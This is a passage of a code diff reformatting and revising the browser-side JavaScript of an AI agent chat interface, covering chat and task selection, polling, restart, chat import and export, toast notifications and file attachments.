localStorage.getItem('activeTab') === 'chats') {- // If we're in chats tab with no selection but have chats, select the first one- const firstChatId = contexts[0].id;-- // Only set context if we don't already have one to avoid duplicates- if (!context) {- setContext(firstChatId);- chatsAD.selected = firstChatId;- localStorage.setItem('lastSelectedChat', firstChatId);- }+ // Make sure the active context is properly selected in both lists+ if (context) {+ // Update selection in the active tab+ const activeTab = localStorage.getItem("activeTab") || "chats";++ if (activeTab === "chats") {+ chatsAD.selected = context;+ localStorage.setItem("lastSelectedChat", context);++ // Check if this context exists in the chats list+ const contextExists = contexts.some((ctx) => ctx.id === context);++ // If it doesn't exist in the chats list but we're in chats tab, try to select the first chat+ if (!contextExists && contexts.length > 0) {+ // Check if the current context is empty before creating a new one+ // If there's already a current context and we're just updating UI, don't automatically+ // create a new context by calling setContext+ const firstChatId = contexts[0].id;++ // Only create a new context if we're not currently in an existing context+ // This helps prevent duplicate contexts when switching tabs+ setContext(firstChatId);+ chatsAD.selected = firstChatId;+ localStorage.setItem("lastSelectedChat", firstChatId);}-- lastLogVersion = response.log_version;- lastLogGuid = response.log_guid;-- } catch (error) {- console.error('Error:', error);- setConnectionStatus(false)+ } else if (activeTab === "tasks" && tasksSection) {+ const tasksAD = Alpine.$data(tasksSection);+ tasksAD.selected = context;+ localStorage.setItem("lastSelectedTask", context);++ // Check if this context exists in the tasks list+ const taskExists = response.tasks?.some((task) => task.id === context);++ // If it doesn't exist in the tasks list but we're in tasks tab, try to select the first task+ if (!taskExists && response.tasks?.length > 0) {+ const firstTaskId = response.tasks[0].id;+ setContext(firstTaskId);+ tasksAD.selected = firstTaskId;+ localStorage.setItem("lastSelectedTask", firstTaskId);+ }+ }+ } else if (+ response.tasks &&+ response.tasks.length > 0 &&+ localStorage.getItem("activeTab") === "tasks"+ ) {+ // If we're in tasks tab with no selection but have tasks, select the first one+ const firstTaskId = response.tasks[0].id;+ setContext(firstTaskId);+ if (tasksSection) {+ const tasksAD = Alpine.$data(tasksSection);+ tasksAD.selected = firstTaskId;+ localStorage.setItem("lastSelectedTask", firstTaskId);+ }+ } else if (+ contexts.length > 0 &&+ localStorage.getItem("activeTab") === "chats"+ ) {+ // If we're in chats tab with no selection but have chats, select the first one+ const firstChatId = contexts[0].id;++ // Only set context if we don't already have one to avoid duplicates+ if (!context) {+ setContext(firstChatId);+ chatsAD.selected = firstChatId;+ localStorage.setItem("lastSelectedChat", firstChatId);+ }}- return updated+ lastLogVersion = response.log_version;+ lastLogGuid = response.log_guid;+ } catch (error) {+ console.error("Error:", error);+ setConnectionStatus(false);+ }++ return updated;}function afterMessagesUpdate(logs) {- if (localStorage.getItem('speech') == 'true') {- speakMessages(logs)- }+ if (localStorage.getItem("speech") == "true") {+ speakMessages(logs);+ }}function speakMessages(logs) {- // log.no, log.type, log.heading, log.content- for (let i = logs.length - 1; i >= 0; i--) {- const log = logs[i]- if (log.type == "response") {- if (log.no > lastSpokenNo) {- lastSpokenNo = log.no- speech.speak(log.content)- return- }- }+ // log.no, log.type, log.heading, log.content+ for (let i = logs.length - 1; i >= 0; i--) {+ const log = logs[i];+ if (log.type == "response") {+ if (log.no > lastSpokenNo) {+ lastSpokenNo = log.no;+ speech.speak(log.content);+ return;+ }}+ }}function updateProgress(progress, active) {- if (!progress) progress = ""+ if (!progress) progress = "";- if (!active) {- removeClassFromElement(progressBar, "shiny-text")- } else {- addClassToElement(progressBar, "shiny-text")- }+ if (!active) {+ removeClassFromElement(progressBar, "shiny-text");+ } else {+ addClassToElement(progressBar, "shiny-text");+ }- if (progressBar.innerHTML != progress) {- progressBar.innerHTML = progress- }+ if (progressBar.innerHTML != progress) {+ progressBar.innerHTML = progress;+ }}window.pauseAgent = async function (paused) {- try {- const resp = await sendJsonData("/pause", { paused: paused, context });- } catch (e) {- window.toastFetchError("Error pausing agent", e)- }-}+ try {+ const resp = await sendJsonData("/pause", { paused: paused, context });+ } catch (e) {+ window.toastFetchError("Error pausing agent", e);+ }+};-window.resetChat = async function (ctxid=null) {- try {- const resp = await sendJsonData("/chat_reset", { "context": ctxid === null ? context : ctxid });- if (ctxid === null) updateAfterScroll();- } catch (e) {- window.toastFetchError("Error resetting chat", e);- }-}+window.resetChat = async function (ctxid = null) {+ try {+ const resp = await sendJsonData("/chat_reset", {+ context: ctxid === null ? context : ctxid,+ });+ if (ctxid === null) updateAfterScroll();+ } catch (e) {+ window.toastFetchError("Error resetting chat", e);+ }+};window.newChat = async function () {- try {- setContext(generateGUID());- updateAfterScroll()- } catch (e) {- window.toastFetchError("Error creating new chat", e)- }-}+ try {+ setContext(generateGUID());+ updateAfterScroll();+ } catch (e) {+ window.toastFetchError("Error creating new chat", e);+ }+};window.killChat = async function (id) {- if (!id) {- console.error("No chat ID provided for deletion");- return;- }+ if (!id) {+ console.error("No chat ID provided for deletion");+ return;+ }- console.log("Deleting chat with ID:", id);+ console.log("Deleting chat with ID:", id);- try {- const chatsAD = Alpine.$data(chatsSection);- console.log("Current contexts before deletion:", JSON.stringify(chatsAD.contexts.map(c => ({ id: c.id, name: c.name }))));+ try {+ const chatsAD = Alpine.$data(chatsSection);+ console.log(+ "Current contexts before deletion:",+ JSON.stringify(chatsAD.contexts.map((c) => ({ id: c.id, name: c.name })))+ );- // switch to another context if deleting current- switchFromContext(id);+ // switch to another context if deleting current+ switchFromContext(id);- // Delete the chat on the server- await sendJsonData("/chat_remove", { context: id });+ // Delete the chat on the server+ await sendJsonData("/chat_remove", { context: id });- // Update the UI manually to ensure the correct chat is removed- // Deep clone the contexts array to prevent reference issues- const updatedContexts = chatsAD.contexts.filter(ctx => ctx.id !== id);- console.log("Updated contexts after deletion:", JSON.stringify(updatedContexts.map(c => ({ id: c.id, name: c.name }))));+ // Update the UI manually to ensure the correct chat is removed+ // Deep clone the contexts array to prevent reference issues+ const updatedContexts = chatsAD.contexts.filter((ctx) => ctx.id !== id);+ console.log(+ "Updated contexts after deletion:",+ JSON.stringify(updatedContexts.map((c) => ({ id: c.id, name: c.name })))+ );- // Force UI update by creating a new array- chatsAD.contexts = [...updatedContexts];+ // Force UI update by creating a new array+ chatsAD.contexts = [...updatedContexts];- updateAfterScroll();+ updateAfterScroll();- toast("Chat deleted successfully", "success");- } catch (e) {- console.error("Error deleting chat:", e);- window.toastFetchError("Error deleting chat", e);- }-}+ toast("Chat deleted successfully", "success");+ } catch (e) {+ console.error("Error deleting chat:", e);+ window.toastFetchError("Error deleting chat", e);+ }+};-export function switchFromContext(id){- // If we're deleting the currently selected chat, switch to another one first- if (context === id) {- const chatsAD = Alpine.$data(chatsSection);-- // Find an alternate chat to switch to if we're deleting the current one- let alternateChat = null;- for (let i = 0; i < chatsAD.contexts.length; i++) {- if (chatsAD.contexts[i].id !== id) {- alternateChat = chatsAD.contexts[i];- break;- }- }+export function switchFromContext(id) {+ // If we're deleting the currently selected chat, switch to another one first+ if (context === id) {+ const chatsAD = Alpine.$data(chatsSection);- if (alternateChat) {- setContext(alternateChat.id);- } else {- // If no other chats, create a new empty context- setContext(generateGUID());- }+ // Find an alternate chat to switch to if we're deleting the current one+ let alternateChat = null;+ for (let i = 0; i < chatsAD.contexts.length; i++) {+ if (chatsAD.contexts[i].id !== id) {+ alternateChat = chatsAD.contexts[i];+ break;+ }}++ if (alternateChat) {+ setContext(alternateChat.id);+ } else {+ // If no other chats, create a new empty context+ setContext(generateGUID());+ }+ }}// Function to ensure proper UI state when switching contextsfunction ensureProperTabSelection(contextId) {- // Get current active tab- const activeTab = localStorage.getItem('activeTab') || 'chats';+ // Get current active tab+ const activeTab = localStorage.getItem("activeTab") || "chats";- // First attempt to determine if this is a task or chat based on the task list- const tasksSection = document.getElementById('tasks-section');- let isTask = false;+ // First attempt to determine if this is a task or chat based on the task list+ const tasksSection = document.getElementById("tasks-section");+ let isTask = false;- if (tasksSection) {- const tasksAD = Alpine.$data(tasksSection);- if (tasksAD && tasksAD.tasks) {- isTask = tasksAD.tasks.some(task => task.id === contextId);- }+ if (tasksSection) {+ const tasksAD = Alpine.$data(tasksSection);+ if (tasksAD && tasksAD.tasks) {+ isTask = tasksAD.tasks.some((task) => task.id === contextId);}+ }++ // If we're selecting a task but are in the chats tab, switch to tasks tab+ if (isTask && activeTab === "chats") {+ // Store this as the last selected task before switching+ localStorage.setItem("lastSelectedTask", contextId);+ activateTab("tasks");+ return true;+ }++ // If we're selecting a chat but are in the tasks tab, switch to chats tab+ if (!isTask && activeTab === "tasks") {+ // Store this as the last selected chat before switching+ localStorage.setItem("lastSelectedChat", contextId);+ activateTab("chats");+ return true;+ }++ return false;+}- // If we're selecting a task but are in the chats tab, switch to tasks tab- if (isTask && activeTab === 'chats') {- // Store this as the last selected task before switching- localStorage.setItem('lastSelectedTask', contextId);- activateTab('tasks');- return true;- }+window.selectChat = async function (id) {+ if (id === context) return; //already selected- // If we're selecting a chat but are in the tasks tab, switch to chats tab- if (!isTask && activeTab === 'tasks') {- // Store this as the last selected chat before switching- localStorage.setItem('lastSelectedChat', contextId);- activateTab('chats');- return true;- }+ // Check if we need to switch tabs based on the context type+ const tabSwitched = ensureProperTabSelection(id);- return false;-}+ // If we didn't switch tabs, proceed with normal selection+ if (!tabSwitched) {+ // Switch to the new context - this will clear chat history and reset tracking variables+ setContext(id);-window.selectChat = async function (id) {- if (id === context) return //already selected-- // Check if we need to switch tabs based on the context type- const tabSwitched = ensureProperTabSelection(id);-- // If we didn't switch tabs, proceed with normal selection- if (!tabSwitched) {- // Switch to the new context - this will clear chat history and reset tracking variables- setContext(id);-- // Update both contexts and tasks lists to reflect the selected item- const chatsAD = Alpine.$data(chatsSection);- const tasksSection = document.getElementById('tasks-section');- if (tasksSection) {- const tasksAD = Alpine.$data(tasksSection);- tasksAD.selected = id;- }- chatsAD.selected = id;-- // Store this selection in the appropriate localStorage key- const activeTab = localStorage.getItem('activeTab') || 'chats';- if (activeTab === 'chats') {- localStorage.setItem('lastSelectedChat', id);- } else if (activeTab === 'tasks') {- localStorage.setItem('lastSelectedTask', id);- }+ // Update both contexts and tasks lists to reflect the selected item+ const chatsAD = Alpine.$data(chatsSection);+ const tasksSection = document.getElementById("tasks-section");+ if (tasksSection) {+ const tasksAD = Alpine.$data(tasksSection);+ tasksAD.selected = id;+ }+ chatsAD.selected = id;- // Trigger an immediate poll to fetch content- poll();+ // Store this selection in the appropriate localStorage key+ const activeTab = localStorage.getItem("activeTab") || "chats";+ if (activeTab === "chats") {+ localStorage.setItem("lastSelectedChat", id);+ } else if (activeTab === "tasks") {+ localStorage.setItem("lastSelectedTask", id);}- updateAfterScroll();-}+ // Trigger an immediate poll to fetch content+ poll();+ }-export const setContext = function (id) {- if (id == context) return;- context = id;- // Always reset the log tracking variables when switching contexts- // This ensures we get fresh data from the backend- lastLogGuid = "";- lastLogVersion = 0;- lastSpokenNo = 0;-- // Clear the chat history immediately to avoid showing stale content- chatHistory.innerHTML = "";-- // Update both selected states- const chatsAD = Alpine.$data(chatsSection);- const tasksAD = Alpine.$data(tasksSection);+ updateAfterScroll();+};- chatsAD.selected = id;- tasksAD.selected = id;-}+export const setContext = function (id) {+ if (id == context) return;+ context = id;+ // Always reset the log tracking variables when switching contexts+ // This ensures we get fresh data from the backend+ lastLogGuid = "";+ lastLogVersion = 0;+ lastSpokenNo = 0;++ // Clear the chat history immediately to avoid showing stale content+ chatHistory.innerHTML = "";++ // Update both selected states+ const chatsAD = Alpine.$data(chatsSection);+ const tasksAD = Alpine.$data(tasksSection);++ chatsAD.selected = id;+ tasksAD.selected = id;+};export const getContext = function () {- return context-}+ return context;+};window.toggleAutoScroll = async function (_autoScroll) {- autoScroll = _autoScroll;-}+ autoScroll = _autoScroll;+};window.toggleJson = async function (showJson) {- // add display:none to .msg-json class definition- toggleCssProperty('.msg-json', 'display', showJson ? 'block' : 'none');-}+ // add display:none to .msg-json class definition+ toggleCssProperty(".msg-json", "display", showJson ? "block" : "none");+};window.toggleThoughts = async function (showThoughts) {- // add display:none to .msg-json class definition- toggleCssProperty('.msg-thoughts', 'display', showThoughts ? undefined : 'none');-}+ // add display:none to .msg-json class definition+ toggleCssProperty(+ ".msg-thoughts",+ "display",+ showThoughts ? undefined : "none"+ );+};window.toggleUtils = async function (showUtils) {- // add display:none to .msg-json class definition- toggleCssProperty('.message-util', 'display', showUtils ? undefined : 'none');- // toggleCssProperty('.message-util .msg-kvps', 'display', showUtils ? undefined : 'none');- // toggleCssProperty('.message-util .msg-content', 'display', showUtils ? undefined : 'none');-}+ // add display:none to .msg-json class definition+ toggleCssProperty(".message-util", "display", showUtils ? undefined : "none");+ // toggleCssProperty('.message-util .msg-kvps', 'display', showUtils ? undefined : 'none');+ // toggleCssProperty('.message-util .msg-content', 'display', showUtils ? undefined : 'none');+};window.toggleDarkMode = function (isDark) {- if (isDark) {- document.body.classList.remove('light-mode');- document.body.classList.add('dark-mode');- } else {- document.body.classList.remove('dark-mode');- document.body.classList.add('light-mode');- }- console.log("Dark mode:", isDark);- localStorage.setItem('darkMode', isDark);+ if (isDark) {+ document.body.classList.remove("light-mode");+ document.body.classList.add("dark-mode");+ } else {+ document.body.classList.remove("dark-mode");+ document.body.classList.add("light-mode");+ }+ console.log("Dark mode:", isDark);+ localStorage.setItem("darkMode", isDark);};window.toggleSpeech = function (isOn) {- console.log("Speech:", isOn);- localStorage.setItem('speech', isOn);- if (!isOn) speech.stop()+ console.log("Speech:", isOn);+ localStorage.setItem("speech", isOn);+ if (!isOn) speech.stop();};window.nudge = async function () {- try {- const resp = await sendJsonData("/nudge", { ctxid: getContext() });- } catch (e) {- toastFetchError("Error nudging agent", e)- }-}+ try {+ const resp = await sendJsonData("/nudge", { ctxid: getContext() });+ } catch (e) {+ toastFetchError("Error nudging agent", e);+ }+};window.restart = async function () {- try {- if (!getConnectionStatus()) {- toast("Backend disconnected, cannot restart.", "error");- return- }- // First try to initiate restart- const resp = await sendJsonData("/restart", {});- } catch (e) {- // Show restarting message- toast("Restarting...", "info", 0);-- let retries = 0;- const maxRetries = 240; // Maximum number of retries (60 seconds with 250ms interval)-- while (retries < maxRetries) {- try {- const resp = await sendJsonData("/health", {});- // Server is back up, show success message- await new Promise(resolve => setTimeout(resolve, 250));- hideToast();- await new Promise(resolve => setTimeout(resolve, 400));- toast("Restarted", "success", 5000);- return;- } catch (e) {- // Server still down, keep waiting- retries++;- await new Promise(resolve => setTimeout(resolve, 250));- }- }-- // If we get here, restart failed or took too long+ try {+ if (!getConnectionStatus()) {+ toast("Backend disconnected, cannot restart.", "error");+ return;+ }+ // First try to initiate restart+ const resp = await sendJsonData("/restart", {});+ } catch (e) {+ // Show restarting message+ toast("Restarting...", "info", 0);++ let retries = 0;+ const maxRetries = 240; // Maximum number of retries (60 seconds with 250ms interval)++ while (retries < maxRetries) {+ try {+ const resp = await sendJsonData("/health", {});+ // Server is back up, show success message+ await new Promise((resolve) => setTimeout(resolve, 250));hideToast();- await new Promise(resolve => setTimeout(resolve, 400));- toast("Restart timed out or failed", "error", 5000);+ await new Promise((resolve) => setTimeout(resolve, 400));+ toast("Restarted", "success", 5000);+ return;+ } catch (e) {+ // Server still down, keep waiting+ retries++;+ await new Promise((resolve) => setTimeout(resolve, 250));+ }}-}++ // If we get here, restart failed or took too long+ hideToast();+ await new Promise((resolve) => setTimeout(resolve, 400));+ toast("Restart timed out or failed", "error", 5000);+ }+};// Modify this part-document.addEventListener('DOMContentLoaded', () => {- const isDarkMode = localStorage.getItem('darkMode') !== 'false';- toggleDarkMode(isDarkMode);+document.addEventListener("DOMContentLoaded", () => {+ const isDarkMode = localStorage.getItem("darkMode") !== "false";+ toggleDarkMode(isDarkMode);});-function toggleCssProperty(selector, property, value) {- // Get the stylesheet that contains the class- const styleSheets = document.styleSheets;-- // Iterate through all stylesheets to find the class- for (let i = 0; i < styleSheets.length; i++) {- const styleSheet = styleSheets[i];- const rules = styleSheet.cssRules || styleSheet.rules;-- for (let j = 0; j < rules.length; j++) {- const rule = rules[j];- if (rule.selectorText == selector) {- // Check if the property is already applied- if (value === undefined) {- rule.style.removeProperty(property);- } else {- rule.style.setProperty(property, value);- }- return;- }+ // Get the stylesheet that contains the class+ const styleSheets = document.styleSheets;++ // Iterate through all stylesheets to find the class+ for (let i = 0; i < styleSheets.length; i++) {+ const styleSheet = styleSheets[i];+ const rules = styleSheet.cssRules || styleSheet.rules;++ for (let j = 0; j < rules.length; j++) {+ const rule = rules[j];+ if (rule.selectorText == selector) {+ // Check if the property is already applied+ if (value === undefined) {+ rule.style.removeProperty(property);+ } else {+ rule.style.setProperty(property, value);}+ return;+ }}+ }}window.loadChats = async function () {- try {- const fileContents = await readJsonFiles();- const response = await sendJsonData("/chat_load", { chats: fileContents });+ try {+ const fileContents = await readJsonFiles();+ const response = await sendJsonData("/chat_load", { chats: fileContents });- if (!response) {- toast("No response returned.", "error")- }- // else if (!response.ok) {- // if (response.message) {- // toast(response.message, "error")- // } else {- // toast("Undefined error.", "error")- // }- // }- else {- setContext(response.ctxids[0])- toast("Chats loaded.", "success")- }-- } catch (e) {- toastFetchError("Error loading chats", e)+ if (!response) {+ toast("No response returned.", "error");}-}+ // else if (!response.ok) {+ // if (response.message) {+ // toast(response.message, "error")+ // } else {+ // toast("Undefined error.", "error")+ // }+ // }+ else {+ setContext(response.ctxids[0]);+ toast("Chats loaded.", "success");+ }+ } catch (e) {+ toastFetchError("Error loading chats", e);+ }+};window.saveChat = async function () {- try {- const response = await sendJsonData("/chat_export", { ctxid: context });+ try {+ const response = await sendJsonData("/chat_export", { ctxid: context });- if (!response) {- toast("No response returned.", "error")- }- // else if (!response.ok) {- // if (response.message) {- // toast(response.message, "error")- // } else {- // toast("Undefined error.", "error")- // }- // }- else {- downloadFile(response.ctxid + ".json", response.content)- toast("Chat file downloaded.", "success")- }-- } catch (e) {- toastFetchError("Error saving chat", e)+ if (!response) {+ toast("No response returned.", "error");}-}+ // else if (!response.ok) {+ // if (response.message) {+ // toast(response.message, "error")+ // } else {+ // toast("Undefined error.", "error")+ // }+ // }+ else {+ downloadFile(response.ctxid + ".json", response.content);+ toast("Chat file downloaded.", "success");+ }+ } catch (e) {+ toastFetchError("Error saving chat", e);+ }+};function downloadFile(filename, content) {- // Create a Blob with the content to save- const blob = new Blob([content], { type: 'application/json' });+ // Create a Blob with the content to save+ const blob = new Blob([content], { type: "application/json" });- // Create a link element- const link = document.createElement('a');+ // Create a link element+ const link = document.createElement("a");- // Create a URL for the Blob- const url = URL.createObjectURL(blob);- link.href = url;+ // Create a URL for the Blob+ const url = URL.createObjectURL(blob);+ link.href = url;- // Set the file name for download- link.download = filename;+ // Set the file name for download+ link.download = filename;- // Programmatically click the link to trigger the download- link.click();+ // Programmatically click the link to trigger the download+ link.click();- // Clean up by revoking the object URL- setTimeout(() => {- URL.revokeObjectURL(url);- }, 0);+ // Clean up by revoking the object URL+ setTimeout(() => {+ URL.revokeObjectURL(url);+ }, 0);}-function readJsonFiles() {- return new Promise((resolve, reject) => {- // Create an input element of type 'file'- const input = document.createElement('input');- input.type = 'file';- input.accept = '.json'; // Only accept JSON files- input.multiple = true; // Allow multiple file selection-- // Trigger the file dialog- input.click();-- // When files are selected- input.onchange = async () => {- const files = input.files;- if (!files.length) {- resolve([]); // Return an empty array if no files are selected- return;- }-- // Read each file as a string and store in an array- const filePromises = Array.from(files).map(file => {- return new Promise((fileResolve, fileReject) => {- const reader = new FileReader();- reader.onload = () => fileResolve(reader.result);- reader.onerror = fileReject;- reader.readAsText(file);- });- });-- try {- const fileContents = await Promise.all(filePromises);- resolve(fileContents);- } catch (error) {- reject(error); // In case of any file reading error- }- };- });+ return new Promise((resolve, reject) => {+ // Create an input element of type 'file'+ const input = document.createElement("input");+ input.type = "file";+ input.accept = ".json"; // Only accept JSON files+ input.multiple = true; // Allow multiple file selection++ // Trigger the file dialog+ input.click();++ // When files are selected+ input.onchange = async () => {+ const files = input.files;+ if (!files.length) {+ resolve([]); // Return an empty array if no files are selected+ return;+ }++ // Read each file as a string and store in an array+ const filePromises = Array.from(files).map((file) => {+ return new Promise((fileResolve, fileReject) => {+ const reader = new FileReader();+ reader.onload = () => fileResolve(reader.result);+ reader.onerror = fileReject;+ reader.readAsText(file);+ });+ });++ try {+ const fileContents = await Promise.all(filePromises);+ resolve(fileContents);+ } catch (error) {+ reject(error); // In case of any file reading error+ }+ };+ });}function addClassToElement(element, className) {- element.classList.add(className);+ element.classList.add(className);}function removeClassFromElement(element, className) {- element.classList.remove(className);+ element.classList.remove(className);}--function toast(text, type = 'info', timeout = 5000) {- const toast = document.getElementById('toast');- const isVisible = toast.classList.contains('show');-- // Clear any existing timeout immediately- if (toast.timeoutId) {- clearTimeout(toast.timeoutId);- toast.timeoutId = null;- }-- // Function to update toast content and show it- const updateAndShowToast = () => {- // Update the toast content and type- const title = type.charAt(0).toUpperCase() + type.slice(1);- toast.querySelector('.toast__title').textContent = title;- toast.querySelector('.toast__message').textContent = text;-- // Remove old classes and add new ones- toast.classList.remove('toast--success', 'toast--error', 'toast--info');- toast.classList.add(`toast--${type}`);-- // Show/hide copy button based on toast type- const copyButton = toast.querySelector('.toast__copy');- copyButton.style.display = type === 'error' ? 'inline-block' : 'none';-- // Add the close button event listener- const closeButton = document.querySelector('.toast__close');- closeButton.onclick = () => {- hideToast();- };-- // Add the copy button event listener- copyButton.onclick = () => {- navigator.clipboard.writeText(text);- copyButton.textContent = 'Copied!';- setTimeout(() => {- copyButton.textContent = 'Copy';- }, 2000);- };-- // Show the toast- toast.style.display = 'flex';- // Force a reflow to ensure the animation triggers- void toast.offsetWidth;- toast.classList.add('show');-- // Set timeout if specified- if (timeout) {- const minTimeout = Math.max(timeout, 5000);- toast.timeoutId = setTimeout(() => {- hideToast();- }, minTimeout);- }+function toast(text, type = "info", timeout = 5000) {+ const toast = document.getElementById("toast");+ const isVisible = toast.classList.contains("show");++ // Clear any existing timeout immediately+ if (toast.timeoutId) {+ clearTimeout(toast.timeoutId);+ toast.timeoutId = null;+ }++ // Function to update toast content and show it+ const updateAndShowToast = () => {+ // Update the toast content and type+ const title = type.charAt(0).toUpperCase() + type.slice(1);+ toast.querySelector(".toast__title").textContent = title;+ toast.querySelector(".toast__message").textContent = text;++ // Remove old classes and add new ones+ toast.classList.remove("toast--success", "toast--error", "toast--info");+ toast.classList.add(`toast--${type}`);++ // Show/hide copy button based on toast type+ const copyButton = toast.querySelector(".toast__copy");+ copyButton.style.display = type === "error" ? "inline-block" : "none";++ // Add the close button event listener+ const closeButton = document.querySelector(".toast__close");+ closeButton.onclick = () => {+ hideToast();};- if (isVisible) {- // If a toast is visible, hide it first then show the new one- toast.classList.remove('show');- toast.classList.add('hide');-- // Wait for hide animation to complete before showing new toast- setTimeout(() => {- toast.classList.remove('hide');- updateAndShowToast();- }, 400); // Match this with CSS transition duration- } else {- // If no toast is visible, show the new one immediately- updateAndShowToast();- }-}-window.toast = toast+ // Add the copy button event listener+ copyButton.onclick = () => {+ navigator.clipboard.writeText(text);+ copyButton.textContent = "Copied!";+ setTimeout(() => {+ copyButton.textContent = "Copy";+ }, 2000);+ };-function hideToast() {- const toast = document.getElementById('toast');+ // Show the toast+ toast.style.display = "flex";+ // Force a reflow to ensure the animation triggers+ void toast.offsetWidth;+ toast.classList.add("show");- // Clear any existing timeout- if (toast.timeoutId) {- clearTimeout(toast.timeoutId);- toast.timeoutId = null;+ // Set timeout if specified+ if (timeout) {+ const minTimeout = Math.max(timeout, 5000);+ toast.timeoutId = setTimeout(() => {+ hideToast();+ }, minTimeout);}+ };- toast.classList.remove('show');- toast.classList.add('hide');+ if (isVisible) {+ // If a toast is visible, hide it first then show the new one+ toast.classList.remove("show");+ toast.classList.add("hide");- // Wait for the hide animation to complete before removing from display+ // Wait for hide animation to complete before showing new toastsetTimeout(() => {- toast.style.display = 'none';- toast.classList.remove('hide');+ toast.classList.remove("hide");+ updateAndShowToast();}, 400); // Match this with CSS transition duration+ } else {+ // If no toast is visible, show the new one immediately+ updateAndShowToast();+ }+}+window.toast = toast;++function hideToast() {+ const toast = document.getElementById("toast");++ // Clear any existing timeout+ if (toast.timeoutId) {+ clearTimeout(toast.timeoutId);+ toast.timeoutId = null;+ }++ toast.classList.remove("show");+ toast.classList.add("hide");++ // Wait for the hide animation to complete before removing from display+ setTimeout(() => {+ toast.style.display = "none";+ toast.classList.remove("hide");+ }, 400); // Match this with CSS transition duration}function scrollChanged(isAtBottom) {- const inputAS = Alpine.$data(autoScrollSwitch);- inputAS.autoScroll = isAtBottom- // autoScrollSwitch.checked = isAtBottom+ const inputAS = Alpine.$data(autoScrollSwitch);+ inputAS.autoScroll = isAtBottom;+ // autoScrollSwitch.checked = isAtBottom}function updateAfterScroll() {- // const toleranceEm = 1; // Tolerance in em units- // const tolerancePx = toleranceEm * parseFloat(getComputedStyle(document.documentElement).fontSize); // Convert em to pixels- const tolerancePx = 50;- const chatHistory = document.getElementById('chat-history');- const isAtBottom = (chatHistory.scrollHeight - chatHistory.scrollTop) <= (chatHistory.clientHeight + tolerancePx);-- scrollChanged(isAtBottom);+ // const toleranceEm = 1; // Tolerance in em units+ // const tolerancePx = toleranceEm * parseFloat(getComputedStyle(document.documentElement).fontSize); // Convert em to pixels+ const tolerancePx = 50;+ const chatHistory = document.getElementById("chat-history");+ const isAtBottom =+ chatHistory.scrollHeight - chatHistory.scrollTop <=+ chatHistory.clientHeight + tolerancePx;++ scrollChanged(isAtBottom);}-chatHistory.addEventListener('scroll', updateAfterScroll);+chatHistory.addEventListener("scroll", updateAfterScroll);-chatInput.addEventListener('input', adjustTextareaHeight);+chatInput.addEventListener("input", adjustTextareaHeight);// setInterval(poll, 250);async function startPolling() {- const shortInterval = 25- const longInterval = 250- const shortIntervalPeriod = 100- let shortIntervalCount = 0-- async function _doPoll() {- let nextInterval = longInterval-- try {- const result = await poll();- if (result) shortIntervalCount = shortIntervalPeriod; // Reset the counter when the result is true- if (shortIntervalCount > 0) shortIntervalCount--; // Decrease the counter on each call- nextInterval = shortIntervalCount > 0 ? shortInterval : longInterval;- } catch (error) {- console.error('Error:', error);- }+ const shortInterval = 25;+ const longInterval = 250;+ const shortIntervalPeriod = 100;+ let shortIntervalCount = 0;- // Call the function again after the selected interval- setTimeout(_doPoll.bind(this), nextInterval);+ async function _doPoll() {+ let nextInterval = longInterval;++ try {+ const result = await poll();+ if (result) shortIntervalCount = shortIntervalPeriod; // Reset the counter when the result is true+ if (shortIntervalCount > 0) shortIntervalCount--; // Decrease the counter on each call+ nextInterval = shortIntervalCount > 0 ? shortInterval : longInterval;+ } catch (error) {+ console.error("Error:", error);}- _doPoll();+ // Call the function again after the selected interval+ setTimeout(_doPoll.bind(this), nextInterval);+ }++ _doPoll();}document.addEventListener("DOMContentLoaded", startPolling);-document.addEventListener('DOMContentLoaded', () => {- const dragDropOverlay = document.getElementById('dragdrop-overlay');- const inputSection = document.getElementById('input-section');- let dragCounter = 0;-- // Prevent default drag behaviors- ['dragenter', 'dragover', 'dragleave', 'drop'].forEach(eventName => {- document.addEventListener(eventName, (e) => {- e.preventDefault();- e.stopPropagation();- }, false);- });-- // Handle drag enter- document.addEventListener('dragenter', (e) => {- dragCounter++;- if (dragCounter === 1) {- Alpine.$data(dragDropOverlay).isVisible = true;- }- }, false);-- // Handle drag leave- document.addEventListener('dragleave', (e) => {- dragCounter--;- if (dragCounter === 0) {- Alpine.$data(dragDropOverlay).isVisible = false;- }- }, false);+document.addEventListener("DOMContentLoaded", () => {+ const dragDropOverlay = document.getElementById("dragdrop-overlay");+ const inputSection = document.getElementById("input-section");+ let dragCounter = 0;- // Handle drop- dragDropOverlay.addEventListener('drop', (e) => {- dragCounter = 0;+ // Prevent default drag behaviors+ ["dragenter", "dragover", "dragleave", "drop"].forEach((eventName) => {+ document.addEventListener(+ eventName,+ (e) => {+ e.preventDefault();+ e.stopPropagation();+ },+ false+ );+ });++ // Handle drag enter+ document.addEventListener(+ "dragenter",+ (e) => {+ dragCounter++;+ if (dragCounter === 1) {+ Alpine.$data(dragDropOverlay).isVisible = true;+ }+ },+ false+ );++ // Handle drag leave+ document.addEventListener(+ "dragleave",+ (e) => {+ dragCounter--;+ if (dragCounter === 0) {Alpine.$data(dragDropOverlay).isVisible = false;-- const inputAD = Alpine.$data(inputSection);- const files = e.dataTransfer.files;- handleFiles(files, inputAD);- }, false);+ }+ },+ false+ );++ // Handle drop+ dragDropOverlay.addEventListener(+ "drop",+ (e) => {+ dragCounter = 0;+ Alpine.$data(dragDropOverlay).isVisible = false;++ const inputAD = Alpine.$data(inputSection);+ const files = e.dataTransfer.files;+ handleFiles(files, inputAD);+ },+ false+ );});// Separate file handling logic to be used by both drag-drop and file inputfunction handleFiles(files, inputAD) {- Array.from(files).forEach(file => {- const ext = file.name.split('.').pop().toLowerCase();-- const isImage = ['jpg', 'jpeg', 'png', 'bmp'].includes(ext);-- if (isImage) {- const reader = new FileReader();- reader.onload = e => {- inputAD.attachments.push({- file: file,- url: e.target.result,- type: 'image',- name: file.name,- extension: ext- });- inputAD.hasAttachments = true;- };- reader.readAsDataURL(file);- } else {- inputAD.attachments.push({- file: file,- type: 'file',- name: file.name,- extension: ext- });- inputAD.hasAttachments = true;- }-- });+ Array.from(files).forEach((file) => {+ const ext = file.name.split(".").pop().toLowerCase();++ const isImage = ["jpg", "jpeg", "png", "bmp"].includes(ext);++ if (isImage) {+ const reader = new FileReader();+ reader.onload = (e) => {+ inputAD.attachments.push({+ file: file,+ url: e.target.result,+ type: "image",+ name: file.name,+ extension: ext,+ });+ inputAD.hasAttachments = true;+ };+ reader.readAsDataURL(file);+ } else {+ inputAD.attachments.push({+ file: file,+ type: "file",+ name: file.name,+ extension: ext,+ });+ inputAD.hasAttachments = true;+ }+ });}// 